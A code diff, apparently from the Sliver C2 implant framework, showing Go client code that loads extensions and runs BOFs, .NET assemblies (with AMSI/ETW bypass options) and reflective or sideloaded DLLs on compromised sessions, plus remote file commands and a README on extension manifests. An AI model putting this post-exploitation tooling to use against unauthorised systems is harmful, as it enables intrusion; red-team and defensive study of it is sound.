f.Bool("s", "save", false, "Save output to disk")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.ExtensionHelpGroup,
|
||||
})
|
||||
}
|
||||
fmt.Printf(Info+"%s extension has been loaded\n", ext.Name)
|
||||
}
|
||||
|
||||
func runExtensionCommand(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.Get()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
ext, ok := commandMap[ctx.Command.Name]
|
||||
if !ok {
|
||||
fmt.Printf(Warn+"No extension command found for `%s` command\n", ctx.Command.Name)
|
||||
return
|
||||
}
|
||||
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Error: %v\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
c, err := ext.getCommandFromName(ctx.Command.Name)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Error: %v\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
var args string
|
||||
if len(c.DefaultArgs) != 0 {
|
||||
args = c.DefaultArgs
|
||||
}
|
||||
if ctx.Command.AllowArgs {
|
||||
if len(ctx.Args) > 0 {
|
||||
args = strings.Join(ctx.Args[0:], " ")
|
||||
}
|
||||
}
|
||||
|
||||
entryPoint := c.Entrypoint
|
||||
processName := ctx.Flags.String("process")
|
||||
if processName == "" {
|
||||
processName, err = c.getDefaultProcess(session.GetOS())
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Error: %v\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s", err.Error())
|
||||
return
|
||||
}
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
}
|
||||
if c.IsAssembly {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
|
||||
go spin.Until(msg, ctrl)
|
||||
executeAssemblyResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: ActiveSession.Request(ctx),
|
||||
AmsiBypass: ctx.Flags.Bool("amsi"),
|
||||
EtwBypass: ctx.Flags.Bool("etw"),
|
||||
Arguments: args,
|
||||
Assembly: binData,
|
||||
Process: processName,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Error: %v", err)
|
||||
return
|
||||
}
|
||||
fmt.Printf(Info+"Output:\n%s", string(executeAssemblyResp.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(executeAssemblyResp.GetOutput())
|
||||
fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
} else if c.IsReflective {
|
||||
offset, err := getExportOffset(binPath, c.Entrypoint)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Error: %v\n", err)
|
||||
return
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
|
||||
go spin.Until(msg, ctrl)
|
||||
spawnDllResp, err := rpc.SpawnDll(context.Background(), &sliverpb.SpawnDllReq{
|
||||
Request: ActiveSession.Request(ctx),
|
||||
Args: strings.Trim(args, " "),
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
Offset: offset,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf(Info+"Output:\n%s", spawnDllResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawnDllResp.GetResult()))
|
||||
fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
} else {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
|
||||
go spin.Until(msg, ctrl)
|
||||
sideloadResp, err := rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: ActiveSession.Request(ctx),
|
||||
Args: args,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf(Info+"Output:\n%s", sideloadResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideloadResp.GetResult()))
|
||||
fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func init() {
|
||||
commandMap = make(map[string]extension)
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
Extensions
|
||||
====
|
||||
|
||||
Allows to load and execute 3rd party extensions.
|
||||
|
||||
Extensions must be loaded from a directory with the following architecture:
|
||||
|
||||
```shell
|
||||
/path/to/extension/folder/
|
||||
├── manifest.json
|
||||
└── windows
|
||||
├── 386
|
||||
│ └── extension.x86.dll
|
||||
└── amd64
|
||||
└── extension.x64.dll
|
||||
```
|
||||
|
||||
The extension folder structure must follow the `GOOS/GOARCH/` scheme.
|
||||
|
||||
Here's an example manifest:
|
||||
|
||||
```json
|
||||
[
|
||||
{
|
||||
"name": "foo",
|
||||
"help": "Help for foo command",
|
||||
"entrypoint": "RunFoo",
|
||||
"init" :"NimMain",
|
||||
"dependsOn": "bar",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"files":{
|
||||
"x86": "extension.x86.o",
|
||||
"x64": "extension.x64.o",
|
||||
}
|
||||
}
|
||||
],
|
||||
"arguments": [
|
||||
{"name": "pid", "type": "int", "desc": "pid", "optional": false},
|
||||
]
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
The structure is the following one:
|
||||
|
||||
- `name`: name of the extension, which will also be the name of the command in the sliver client
|
||||
- `help`: the documentation for the new command
|
||||
- `entrypoint`: the name of the exported function to call
|
||||
- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
|
||||
- `init`: the initialization function name (if relevant, can be omitted)
|
||||
- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
|
||||
- `dependsOn`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
|
||||
|
||||
The `type` of an argument can be one of the following:
|
||||
|
||||
- `string`: regular ASCII string
|
||||
- `wstring`: string that will be UTF16 encoded
|
||||
- `int`: will be parsed as a 32 bit unsigned integer
|
||||
- `short`: will be parsed as a 16 bit unsigned integer
|
||||
- `file`: a string to a file path on the client side which content will be passed to the BOF
|
||||
@@ -0,0 +1,463 @@
|
||||
package extensions
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
)
|
||||
|
||||
var commandMap map[string]extensionCommand
|
||||
|
||||
type extensionCommand struct {
|
||||
Name string `json:"name"`
|
||||
Help string `json:"help"`
|
||||
Files []extensionFiles `json:"extFiles"`
|
||||
Arguments []extensionArgument `json:"arguments"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
DependsOn string `json:"dependsOn"`
|
||||
Init string `json:"init"`
|
||||
Path string
|
||||
}
|
||||
type binFiles struct {
|
||||
Ext64Path string `json:"x64"`
|
||||
Ext32Path string `json:"x86"`
|
||||
}
|
||||
|
||||
type extensionFiles struct {
|
||||
OS string `json:"os"`
|
||||
Files binFiles `json:"files"`
|
||||
}
|
||||
|
||||
type extensionArgument struct {
|
||||
Name string `json:"name"`
|
||||
Type string `json:"type"`
|
||||
Desc string `json:"desc"`
|
||||
Optional bool `json:"optional"`
|
||||
}
|
||||
|
||||
func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
|
||||
for _, ef := range e.Files {
|
||||
if targetOS == ef.OS {
|
||||
switch targetArch {
|
||||
case "386":
|
||||
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext32Path)
|
||||
case "amd64":
|
||||
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
|
||||
default:
|
||||
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
|
||||
}
|
||||
}
|
||||
}
|
||||
if filePath == "" {
|
||||
err = fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func LoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
dirPath := ctx.Args.String("dir-path")
|
||||
extCmds, err := ParseExtensions(dirPath)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
for _, extCmd := range extCmds {
|
||||
// do not add if the command already exists
|
||||
if cmdExists(extCmd.Name, con.App) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.Name)
|
||||
continue
|
||||
}
|
||||
RegisterExtensionCommand(extCmd, con)
|
||||
con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
|
||||
}
|
||||
}
|
||||
|
||||
func ParseExtensions(extPath string) ([]*extensionCommand, error) {
|
||||
manifestPath := filepath.Join(extPath, "manifest.json")
|
||||
jsonBytes, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extensionsCmds := make([]*extensionCommand, 0)
|
||||
err = json.Unmarshal(jsonBytes, &extensionsCmds)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, extCmd := range extensionsCmds {
|
||||
extCmd.Path = extPath
|
||||
commandMap[extCmd.Name] = *extCmd
|
||||
}
|
||||
return extensionsCmds, nil
|
||||
}
|
||||
|
||||
func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConsoleClient) {
|
||||
commandMap[extCmd.Name] = *extCmd
|
||||
helpMsg := extCmd.Help
|
||||
extensionCmd := &grumble.Command{
|
||||
Name: extCmd.Name,
|
||||
Help: helpMsg,
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runExtensionCmd(extCtx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
if len(extCmd.Arguments) > 0 {
|
||||
// BOF specific
|
||||
for _, arg := range extCmd.Arguments {
|
||||
var (
|
||||
argFunc func(string, string, ...grumble.ArgOption)
|
||||
defaultValue grumble.ArgOption
|
||||
)
|
||||
switch arg.Type {
|
||||
case "int", "short":
|
||||
argFunc = a.Int
|
||||
defaultValue = grumble.Default(0)
|
||||
case "string", "wstring", "file":
|
||||
argFunc = a.String
|
||||
defaultValue = grumble.Default("")
|
||||
}
|
||||
if arg.Optional {
|
||||
argFunc(arg.Name, arg.Desc, defaultValue)
|
||||
} else {
|
||||
argFunc(arg.Name, arg.Desc)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||
}
|
||||
},
|
||||
HelpGroup: consts.ExtensionHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(extensionCmd)
|
||||
}
|
||||
|
||||
func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
if extList.Response != nil && extList.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s", extList.Response.Err)
|
||||
return
|
||||
}
|
||||
if len(extList.Names) > 0 {
|
||||
con.PrintInfof("Loaded extensions:\n")
|
||||
for _, ext := range extList.Names {
|
||||
con.Printf("- %s\n", ext)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *extensionCommand) error {
|
||||
var extensionList []string
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Try to find the extension in the loaded extensions
|
||||
if len(session.Extensions) == 0 {
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err.Error())
|
||||
return err
|
||||
}
|
||||
if extList.Response != nil && extList.Response.Err != "" {
|
||||
return errors.New(extList.Response.Err)
|
||||
}
|
||||
extensionList = extList.Names
|
||||
} else {
|
||||
extensionList = session.Extensions
|
||||
}
|
||||
depLoaded := false
|
||||
for _, extName := range extensionList {
|
||||
if !depLoaded && extName == ext.DependsOn {
|
||||
depLoaded = true
|
||||
}
|
||||
if ext.Name == extName {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
// Extension not found, let's load it
|
||||
if filepath.Ext(binPath) == ".o" {
|
||||
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
|
||||
// Auto load the coff loader if we have it
|
||||
if !depLoaded {
|
||||
if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
|
||||
return errLoad
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
|
||||
return errRegister
|
||||
}
|
||||
// Update session info
|
||||
if filepath.Ext(binPath) != ".o" {
|
||||
// Don't update session for BOFs, we don't cache them
|
||||
// on the implant side (yet)
|
||||
// update the Session info
|
||||
_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
|
||||
Extensions: extensionList,
|
||||
SessionID: session.ID,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err.Error())
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: ext.Name,
|
||||
Data: binData,
|
||||
OS: session.OS,
|
||||
Init: ext.Init,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if registerResp.Response != nil && registerResp.Response.Err != "" {
|
||||
return errors.New(registerResp.Response.Err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
|
||||
depExt, f := commandMap[depName]
|
||||
if f {
|
||||
depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
depBinData, err := ioutil.ReadFile(depBinPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return registerExtension(con, &depExt, depBinData, session, ctx)
|
||||
}
|
||||
return fmt.Errorf("missing dependency %s", depName)
|
||||
}
|
||||
|
||||
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var (
|
||||
callExtension *sliverpb.CallExtension
|
||||
err error
|
||||
extensionArgs []byte
|
||||
extName string
|
||||
entryPoint string
|
||||
)
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
ext, ok := commandMap[ctx.Command.Name]
|
||||
if !ok {
|
||||
con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
|
||||
return
|
||||
}
|
||||
|
||||
if err = loadExtension(ctx, session, con, &ext); err != nil {
|
||||
con.PrintErrorf("Could not load extension: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
isBOF := filepath.Ext(binPath) == ".o"
|
||||
|
||||
// BOFs (Beacon Object Files) are a specific kind of extensions
|
||||
// that require another extension (a COFF loader) to be present.
|
||||
// BOFs also have strongly typed arguments that need to be parsed in the proper way.
|
||||
// This block will pack both the BOF data and its arguments into a single buffer that
|
||||
// the loader will extract and load.
|
||||
if isBOF {
|
||||
// Beacon Object File -- requires a COFF loader
|
||||
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
}
|
||||
extName = ext.DependsOn
|
||||
entryPoint = commandMap[extName].Entrypoint // should exist at this point
|
||||
} else {
|
||||
// Regular DLL
|
||||
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
|
||||
extensionArgs = []byte(extArgs)
|
||||
extName = ext.Name
|
||||
entryPoint = ext.Entrypoint
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
Name: extName,
|
||||
Export: entryPoint,
|
||||
Args: extensionArgs,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err.Error())
|
||||
return
|
||||
}
|
||||
if callExtension.Response != nil && callExtension.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", callExtension.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Successfully executed %s\n", extName)
|
||||
if len(callExtension.Output) > 0 {
|
||||
con.PrintInfof("Got output:\n%s", string(callExtension.Output))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(callExtension.Output)
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]byte, error) {
|
||||
var extensionArgs []byte
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
argsBuffer := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
// Parse BOF arguments from grumble
|
||||
for _, arg := range ext.Arguments {
|
||||
switch arg.Type {
|
||||
case "int":
|
||||
val := ctx.Args.Int(arg.Name)
|
||||
err = argsBuffer.AddInt(uint32(val))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
case "short":
|
||||
val := ctx.Args.Int(arg.Name)
|
||||
err = argsBuffer.AddShort(uint16(val))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
case "string":
|
||||
val := ctx.Args.String(arg.Name)
|
||||
err = argsBuffer.AddString(val)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
case "wstring":
|
||||
val := ctx.Args.String(arg.Name)
|
||||
err = argsBuffer.AddWString(val)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Adding support for filepaths so we can
|
||||
// send binary data like shellcodes to BOFs
|
||||
case "file":
|
||||
val := ctx.Args.String(arg.Name)
|
||||
data, err := ioutil.ReadFile(val)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = argsBuffer.AddData(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
}
|
||||
parsedArgs, err := argsBuffer.GetBuffer()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Now build the extension's argument buffer
|
||||
extensionArgsBuffer := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
err = extensionArgsBuffer.AddString(ext.Entrypoint)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = extensionArgsBuffer.AddData(binData)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = extensionArgsBuffer.AddData(parsedArgs)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extensionArgs, err = extensionArgsBuffer.GetBuffer()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return extensionArgs, nil
|
||||
|
||||
}
|
||||
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func init() {
|
||||
commandMap = make(map[string]extensionCommand)
|
||||
}
|
||||
@@ -1,339 +0,0 @@
|
||||
package command
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/alecthomas/chroma/formatters"
|
||||
"github.com/alecthomas/chroma/lexers"
|
||||
"github.com/alecthomas/chroma/styles"
|
||||
"github.com/bishopfox/sliver/client/spin"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"gopkg.in/AlecAivazis/survey.v1"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func ls(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if len(ctx.Args) < 1 {
|
||||
ctx.Args = append(ctx.Args, ".")
|
||||
}
|
||||
|
||||
ls, err := rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: ActiveSession.Request(ctx),
|
||||
Path: ctx.Args[0],
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
} else {
|
||||
printDirList(ls)
|
||||
}
|
||||
}
|
||||
|
||||
func printDirList(dirList *sliverpb.Ls) {
|
||||
fmt.Printf("%s\n", dirList.Path)
|
||||
fmt.Printf("%s\n", strings.Repeat("=", len(dirList.Path)))
|
||||
|
||||
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
|
||||
for _, fileInfo := range dirList.Files {
|
||||
if fileInfo.IsDir {
|
||||
fmt.Fprintf(table, "%s\t<dir>\t\n", fileInfo.Name)
|
||||
} else {
|
||||
fmt.Fprintf(table, "%s\t%s\t\n", fileInfo.Name, util.ByteCountBinary(fileInfo.Size))
|
||||
}
|
||||
}
|
||||
table.Flush()
|
||||
}
|
||||
|
||||
func rm(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if len(ctx.Args) == 0 {
|
||||
fmt.Printf(Warn + "Missing parameter: file or directory name\n")
|
||||
return
|
||||
}
|
||||
|
||||
rm, err := rpc.Rm(context.Background(), &sliverpb.RmReq{
|
||||
Request: ActiveSession.Request(ctx),
|
||||
Path: ctx.Args[0],
|
||||
Recursive: ctx.Flags.Bool("recursive"),
|
||||
Force: ctx.Flags.Bool("force"),
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
} else {
|
||||
fmt.Printf(Info+"%s\n", rm.Path)
|
||||
}
|
||||
}
|
||||
|
||||
func mkdir(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if len(ctx.Args) == 0 {
|
||||
fmt.Printf(Warn + "Missing parameter: directory name\n")
|
||||
return
|
||||
}
|
||||
|
||||
mkdir, err := rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{
|
||||
Request: ActiveSession.Request(ctx),
|
||||
Path: ctx.Args[0],
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
} else {
|
||||
fmt.Printf(Info+"%s\n", mkdir.Path)
|
||||
}
|
||||
}
|
||||
|
||||
func cd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
if len(ctx.Args) < 1 {
|
||||
ctx.Args = append(ctx.Args, ".")
|
||||
}
|
||||
|
||||
pwd, err := rpc.Cd(context.Background(), &sliverpb.CdReq{
|
||||
Request: ActiveSession.Request(ctx),
|
||||
Path: ctx.Args[0],
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
} else {
|
||||
fmt.Printf(Info+"%s\n", pwd.Path)
|
||||
}
|
||||
}
|
||||
|
||||
func pwd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
pwd, err := rpc.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: ActiveSession.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
} else {
|
||||
fmt.Printf(Info+"%s\n", pwd.Path)
|
||||
}
|
||||
}
|
||||
|
||||
func cat(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if len(ctx.Args) == 0 {
|
||||
fmt.Printf(Warn + "Missing parameter: file name\n")
|
||||
return
|
||||
}
|
||||
|
||||
download, err := rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: ActiveSession.Request(ctx),
|
||||
Path: ctx.Args[0],
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
return
|
||||
}
|
||||
if download.Encoder == "gzip" {
|
||||
download.Data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if ctx.Flags.Bool("colorize-output") {
|
||||
if err = colorize(download); err != nil {
|
||||
fmt.Println(string(download.Data))
|
||||
}
|
||||
} else {
|
||||
fmt.Println(string(download.Data))
|
||||
}
|
||||
}
|
||||
|
||||
func colorize(f *sliverpb.Download) error {
|
||||
lexer := lexers.Match(f.GetPath())
|
||||
if lexer == nil {
|
||||
lexer = lexers.Analyse(string(f.GetData()))
|
||||
if lexer == nil {
|
||||
lexer = lexers.Fallback
|
||||
}
|
||||
}
|
||||
style := styles.Get("monokai")
|
||||
if style == nil {
|
||||
style = styles.Fallback
|
||||
}
|
||||
formatter := formatters.Get("terminal16m")
|
||||
if formatter == nil {
|
||||
formatter = formatters.Fallback
|
||||
}
|
||||
if lexer != nil {
|
||||
iterator, err := lexer.Tokenise(nil, string(f.GetData()))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = formatter.Format(os.Stdout, style, iterator)
|
||||
if err != nil {
|
||||
return err
|
||||
